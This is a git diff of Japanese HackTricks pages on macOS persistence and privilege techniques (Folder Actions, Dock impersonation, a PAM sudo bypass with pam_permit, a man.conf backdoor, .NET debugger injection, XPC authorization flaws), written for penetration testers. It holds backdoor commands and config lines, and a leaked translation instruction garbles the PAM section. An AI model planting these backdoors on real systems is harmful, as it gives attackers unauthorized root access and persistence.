@ -714,7 +769,7 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
スクリプトを実行するには、次のコマンドを使用します:`osascript -l JavaScript /Users/username/attach.scpt`
|
||||
スクリプトを実行するには、`osascript -l JavaScript /Users/username/attach.scpt`を使用します。
|
||||
|
||||
|
||||
|
||||
|
@ -740,15 +795,15 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
次に、「Folder Actions Setup」アプリを開き、**監視したいフォルダ**を選択し、この場合は**`folder.scpt`**(私の場合はoutput2.scpと呼びました)を選択します。
|
||||
次に、「Folder Actions Setup」アプリを開き、**監視したいフォルダ**を選択し、この場合は**`folder.scpt`**(私の場合はoutput2.scpと呼んでいます)を選択します:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
これで、**Finder**でそのフォルダを開くと、スクリプトが実行されます。
|
||||
|
||||
この設定は、**base64形式のplist**に保存されています。場所は**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**です。
|
||||
この設定は、**base64形式で保存された**plistファイルに保存されています。場所は**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**です。
|
||||
|
||||
次に、GUIアクセスなしでこの永続化を準備してみましょう:
|
||||
次に、GUIアクセスなしでこの永続性を準備してみましょう:
|
||||
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**をバックアップするために`/tmp`にコピーします:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
|
@ -779,7 +834,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
|
||||
#### 説明
|
||||
|
||||
**重いサンドボックス**に入ることになるため、おそらくこのテクニックは使用したくないでしょう。
|
||||
**重いサンドボックス**に入ることになるため、おそらくこのテクニックを使用したくないでしょう。
|
||||
|
||||
### Dockショートカット
|
||||
|
||||
|
@ -795,9 +850,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
ドックに表示されるすべてのアプリケーションは、plist内で指定されています:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
ドックに表示されるすべてのアプリケーションは、plistファイル**`~/Library/Preferences/com.apple.dock.plist`**で指定されています。
|
||||
|
||||
次のようにして、**アプリケーションを追加**することができます:
|
||||
次のコマンドで、**アプリケーションを追加**することができます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -809,7 +864,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
いくつかの**ソーシャルエンジニアリング**を使用すると、ドック内でGoogle Chromeなどを**なりすまし**、実際に独自のスクリプトを実行することができます。
|
||||
いくつかの**ソーシャルエンジニアリング**を使用すると、ドック内でGoogle Chromeのように偽装し、実際に独自のスクリプトを実行することができます。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -912,7 +967,7 @@ killall Dock
|
|||
|
||||
Finder Sync拡張機能を持つアプリケーションの例は[こちらで見つけることができます](https://github.com/D00MFist/InSync)。
|
||||
|
||||
アプリケーションは`Finder Sync Extensions`を持つことができます。この拡張機能は実行されるアプリケーションの内部に配置されます。さらに、拡張機能が自身のコードを実行できるようにするためには、**有効なAppleデベロッパー証明書で署名**されている必要があり、**サンドボックス化**されている必要があります(ただし、緩和された例外が追加される場合もあります)。また、次のようなものに登録されている必要があります:
|
||||
アプリケーションは`Finder Sync Extensions`を持つことができます。この拡張機能は実行されるアプリケーションの内部に配置されます。さらに、拡張機能が自身のコードを実行できるようにするためには、**有効なApple開発者証明書で署名**されている必要があり、**サンドボックス化**されている必要があります(ただし、緩和された例外が追加される場合もあります)。また、次のようなものに登録されている必要があります:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -929,14 +984,14 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
|
||||
* `/System/Library/Screen Savers` 
|
||||
* ルート権限が必要
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* `/Library/Screen Savers`
|
||||
* ルート権限が必要
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
* `~/Library/Screen Savers`
|
||||
* **トリガー**: スクリーンセーバーを選択する
|
||||
* **トリガー**: スクリーンセーバーを選択
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
|
@ -1050,7 +1105,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
スポットライトは、macOSの組み込みの検索機能であり、ユーザーがコンピュータ上のデータに迅速かつ包括的にアクセスできるように設計されています。\
|
||||
この迅速な検索機能を実現するために、スポットライトは**専用のデータベース**を維持し、ほとんどのファイルを**解析してインデックスを作成**し、ファイル名とその内容の両方を素早く検索することができます。
|
||||
|
||||
スポットライトの基本的なメカニズムは、'mds'という中央プロセスによって実現されており、これは**'メタデータサーバ'**を表しています。このプロセスはスポットライトサービス全体を統括しています。これに加えて、複数の'mdworker'デーモンがあり、さまざまなメンテナンスタスクを実行しています(`ps -ef | grep mdworker`で確認できます)。これらのタスクは、スポットライトのインポータープラグインまたは**".mdimporterバンドル"**によって可能になり、スポットライトがさまざまなファイル形式のコンテンツを理解してインデックス化することができます。
|
||||
スポットライトの基本的なメカニズムは、'mds'という中央プロセスによって実現されており、これは**'メタデータサーバ'**の略です。このプロセスはスポットライトサービス全体を統括しています。これに加えて、複数の'mdworker'デーモンがあり、さまざまなメンテナンスタスクを実行します(`ps -ef | grep mdworker`で確認できます)。これらのタスクは、スポットライトのインポータープラグインまたは**".mdimporterバンドル"**によって可能になり、さまざまなファイル形式のコンテンツを理解してインデックス化することができます。
|
||||
|
||||
プラグインまたは**`.mdimporter`**バンドルは、前述の場所に配置されており、新しいバンドルが現れるとすぐにロードされます(サービスの再起動は不要です)。これらのバンドルは、管理できる**ファイルタイプと拡張子**を示さなければなりません。このようにして、スポットライトは、指定された拡張子を持つ新しいファイルが作成されたときにこれらのバンドルを使用します。
|
||||
|
||||
|
@ -1108,7 +1163,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
独自のインポータを作成するには、このプロジェクトを使用して開始できます:[https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) そして、名前を変更し、**`CFBundleDocumentTypes`**を変更し、**`UTImportedTypeDeclarations`**を追加して、サポートする拡張子をサポートし、**`schema.xml`**でそれらを反映させます。\
|
||||
次に、関数**`GetMetadataForFile`**のコードを**変更**して、処理された拡張子を持つファイルが作成されたときにペイロードを実行します。
|
||||
|
||||
最後に、新しい`.mdimporter`を**ビルドしてコピー**して、3つの前述の場所のいずれかに配置し、**ログを監視**するか、**`mdimport -L.`**をチェックしてロードされているかどうかを確認できます。
|
||||
最後に、新しい`.mdimporter`を**ビルドしてコピー**して、3つの前述の場所のいずれかに配置し、**ログを監視**するか、**`mdimport -L.`**をチェックすることで、ロードされたかどうかを確認できます。
|
||||
|
||||
### ~~Preference Pane~~
|
||||
|
||||
|
@ -1134,7 +1189,7 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
ここでは、**サンドボックスをバイパス**するために役立つスタート位置を見つけることができます。単に**ファイルに書き込むことで**何かを実行することができます。これには**root**であることや他の**奇妙な条件**が必要です。
|
||||
ここでは、**サンドボックスをバイパス**するために役立つスタート位置を見つけることができます。これにより、**ルート**で何かを**ファイルに書き込むだけで**実行したり、他の**奇妙な条件**を必要としたりすることができます。
|
||||
{% endhint %}
|
||||
|
||||
### Periodic
|
||||
|
@ -1142,20 +1197,20 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
解説:[https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.github.io/beyond/beyond\_0019/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、rootである必要があります
|
||||
* ただし、ルートである必要があります
|
||||
|
||||
#### 場所
|
||||
|
||||
* `/etc/periodic/daily`、`/etc/periodic/weekly`、`/etc/periodic/monthly`、`/usr/local/etc/periodic`
|
||||
* rootが必要です
|
||||
* ルートが必要です
|
||||
* **トリガー**:時間が来たとき
|
||||
* `/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`
|
||||
* rootが必要です
|
||||
* ルートが必要です
|
||||
* **トリガー**:時間が来たとき
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
定期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**のために実行されます。`/etc/periodic/`に保存されたスクリプトは、**ファイルの所有者として実行**されるため、潜在的な特権エスカレーションには機能しません。
|
||||
定期的なスクリプト(**`/etc/periodic`**)は、`/System/Library/LaunchDaemons/com.apple.periodic*`に設定された**ランチデーモン**のために実行されます。`/etc/periodic/`に保存されたスクリプトは、ファイルの所有者として**実行**されるため、潜在的な特権エスカレーションには機能しません。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1197,14 +1252,18 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
もし、`/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`のいずれかのファイルを書き込むことができれば、**遅かれ早かれ実行**されます。
|
||||
`/etc/daily.local`、`/etc/weekly.local`、または`/etc/monthly.local`のいずれかのファイルを書き込むことができれば、**遅かれ早かれ実行されます**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
定期スクリプトは、スクリプトの所有者として**実行される**ことに注意してください。したがって、通常のユーザーがスクリプトを所有している場合、そのユーザーとして実行されます(これにより特権エスカレーション攻撃が防止される場合があります)。
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
||||
解説: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* サンドボックス回避に便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、root権限が必要です
|
||||
|
||||
#### 場所
|
||||
|
@ -1213,7 +1272,32 @@ monthly_local="/etc/monthly.local" # Local scripts
|
|||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
PAMはmacOS内での簡単な実行よりも**持続性**とマルウェアに焦点を当てているため、このブログでは詳細な説明は行いません。このテクニックをよりよく理解するためには、解説を読んでください。
|
||||
PAMは、macOS内での簡単な実行よりも**持続性**とマルウェアに焦点を当てているため、このブログでは詳細な説明は行いません。このテクニックをよりよく理解するために、解説を読んでください。
|
||||
|
||||
PAMモジュールを確認するには: 
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
永続性/特権エスカレーションの技術で、PAMを悪用する方法は、/etc/pam.d/sudoモジュールを変更し、先頭に次の行を追加するだけです。
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルmacos-hardening/macos-auto-start-locations.mdからのものです。関連する英語のテキストを日本語に翻訳し、翻訳を保持したまま、まったく同じマークダウンとHTMLの構文で返してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加のものは追加しないでください。
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
auth include sudo_local
|
||||
auth sufficient pam_smartcard.so
|
||||
auth required pam_opendirectory.so
|
||||
account required pam_permit.so
|
||||
password required pam_deny.so
|
||||
session required pam_permit.so
|
||||
```
|
||||
したがって、**`sudo`を使用する試みは成功します**。
|
||||
|
||||
{% hint style="danger" %}
|
||||
このディレクトリはTCCによって保護されているため、ユーザーはアクセスを求めるプロンプトが表示される可能性が非常に高いことに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
### 認証プラグイン
|
||||
|
||||
|
@ -1221,36 +1305,36 @@ PAMはmacOS内での簡単な実行よりも**持続性**とマルウェアに
|
|||
解説: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、root権限が必要で追加の設定が必要です
|
||||
* ただし、rootである必要があり、追加の設定が必要です
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* root権限が必要です
|
||||
* rootが必要です
|
||||
* 認証データベースをプラグインを使用するように設定する必要もあります
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
ユーザーがログインする際に実行される認証プラグインを作成して持続性を維持することができます。これらのプラグインの作成方法の詳細については、以前の解説を参照してください(注意が必要です。不適切に作成されたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要があります)。
|
||||
ユーザーがログインするときに実行される認証プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法の詳細については、前の解説を参照してください(ただし、不適切に作成されたプラグインはロックアウトされる可能性があり、回復モードからMacをクリーンアップする必要があります)。
|
||||
|
||||
### Man.conf
|
||||
|
||||
解説: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
|
||||
|
||||
* サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* ただし、root権限が必要でユーザーはmanを使用する必要があります
|
||||
* ただし、rootである必要があり、ユーザーはmanを使用する必要があります
|
||||
|
||||
#### 場所
|
||||
#### 位置
|
||||
|
||||
* **`/private/etc/man.conf`**
|
||||
* root権限が必要です
|
||||
* rootが必要です
|
||||
* **`/private/etc/man.conf`**: manが使用されるたびに
|
||||
|
||||
#### 説明と攻撃手法
|
||||
|
||||
設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されるようにすることができます。
|
||||
設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開くときに使用するバイナリ/スクリプトを示します。したがって、実行可能ファイルのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されるようにすることができます。
|
||||
|
||||
例えば、**`/private/etc/man.conf`**に以下を設定します:
|
||||
例えば、**`/private/etc/man.conf`**に設定する:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
|
@ -1384,7 +1468,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.
|
|||
|
||||
Appleは**emond**というログ記録メカニズムを導入しました。これは完全に開発されなかったようで、Appleは他のメカニズムのために開発を**放棄**した可能性がありますが、それは**利用可能**なままです。
|
||||
|
||||
このあまり知られていないサービスは、Macの管理者にはあまり役に立たないかもしれませんが、脅威の存在する者にとっては、macOSの管理者がおそらく調べることを知らない**永続化メカニズム**として使用する非常に良い理由があります。 emondの悪用を検出することは難しくありません。なぜなら、サービスのSystem LaunchDaemonはスクリプトを実行するために1つの場所だけを探すからです:
|
||||
このあまり知られていないサービスは、Macの管理者にはあまり役に立たないかもしれませんが、脅威の存在する者にとっては、macOSの管理者がおそらく調べることを知らない**永続化メカニズム**として使用する非常に良い理由となるでしょう。 emondの悪用を検出することは難しくありません。なぜなら、サービスのSystem LaunchDaemonはスクリプトを実行する場所を1つだけ探し求めるからです。
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1405,15 +1489,15 @@ XQuartzは**もはやmacOSにインストールされていない**ため、詳
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
ルートとしてkextをインストールするのは非常に複雑なので、サンドボックスからの脱出や持続性のためには考慮しないでください(エクスプロイトがある場合を除く)
|
||||
ルートとしてさえkextをインストールするのは非常に複雑なので、サンドボックスからの脱出や持続性のためには考慮しないでください(エクスプロイトがある場合を除く)
|
||||
{% endhint %}
|
||||
|
||||
#### 場所
|
||||
|
||||
KEXTを起動アイテムとしてインストールするには、次のいずれかの場所に**インストールする必要があります**:
|
||||
KEXTをスタートアップアイテムとしてインストールするには、次のいずれかの場所に**インストールする必要があります**:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* OS Xオペレーティングシステムに組み込まれたKEXTファイル
|
||||
* OS Xオペレーティングシステムに組み込まれたKEXTファイル。
|
||||
* `/Library/Extensions`
|
||||
* サードパーティのソフトウェアによってインストールされたKEXTファイル
|
||||
|
||||
|
|
|
@ -21,7 +21,7 @@
|
|||
|
||||
したがって、ユーザーの**`$TMPDIR`**に移動すると、.Netアプリケーションをデバッグするために使用できる**デバッグ用のFIFO**を見つけることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
|
||||
|
||||
|
@ -169,15 +169,15 @@ return true;
|
|||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
次に、実行をトリガーするためには、関数ポインタが格納されている場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
次に、実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、このポインタを参照解除することができます。
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`がどこにあるか**を知ることができ、DFTの検索を開始することができます。
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
|
||||
|
||||
このアドレスを知ることで、関数ポインタを私たちのシェルコードで上書きすることが可能です。
|
||||
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
|
||||
|
||||
PowerShellにインジェクトするために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
|
||||
|
@ -189,10 +189,10 @@ PowerShellにインジェクトするために使用される完全なPOCコー
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -119,7 +119,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
最後に、サーバーを動作させるための重要な関数である**`myipc_server`**があります。これは、受信したidに関連する関数を実際に**呼び出す**役割を果たします。
|
||||
最後に、サーバーを動作させるための重要な関数である**`myipc_server`**があります。これは、受信したidに関連する関数を実際に呼び出すものです。
|
||||
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
|
@ -376,21 +376,21 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
実際には、関数 **`0x100004000`** に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は関数が実装されているアドレスであり、**構造体は0x28バイトを取ります**。したがって、0バイトから始まる各0x28バイトで8バイトを取得し、それが呼び出される**関数のアドレス**になります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
実際には、関数 **`0x100004000`** に移動すると、**`routine_descriptor`** 構造体の配列が見つかります。構造体の最初の要素は関数が実装されているアドレスであり、**構造体は0x28バイトを占めます**。したがって、0バイトから始まる各0x28バイトで8バイトを取得し、それが呼び出される**関数のアドレス**になります。
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
このデータは、[**この Hopper スクリプトを使用して**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)抽出できます。
|
||||
|
||||
<details>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -20,7 +20,7 @@ Appleは、接続するプロセスが**公開されたXPCメソッドを呼び
|
|||
|
||||
### ShouldAcceptNewConnection は常に YES
|
||||
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)に例があります。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は以前に指定された要件のいずれも**チェックしません**。常にYESを返します:
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)に例があります。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は、以前に指定された要件のいずれも**チェックしません**。常にYESを返します:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -182,7 +182,7 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。各メソッドごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が含まれていることに注意してください。後者は、**この権限を取得できるユーザー**を示しています。
|
||||
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。各メソッドごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が含まれていることに注目してください。後者は、**この権限を取得できるユーザー**を示しています。
|
||||
|
||||
権限にアクセスできるユーザーを示すためのさまざまなスコープがあります。それらの一部は[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべてを見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
|
||||
|
||||
|
@ -287,9 +287,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
### EvenBetterAuthorization の使用を確認する
|
||||
|
||||
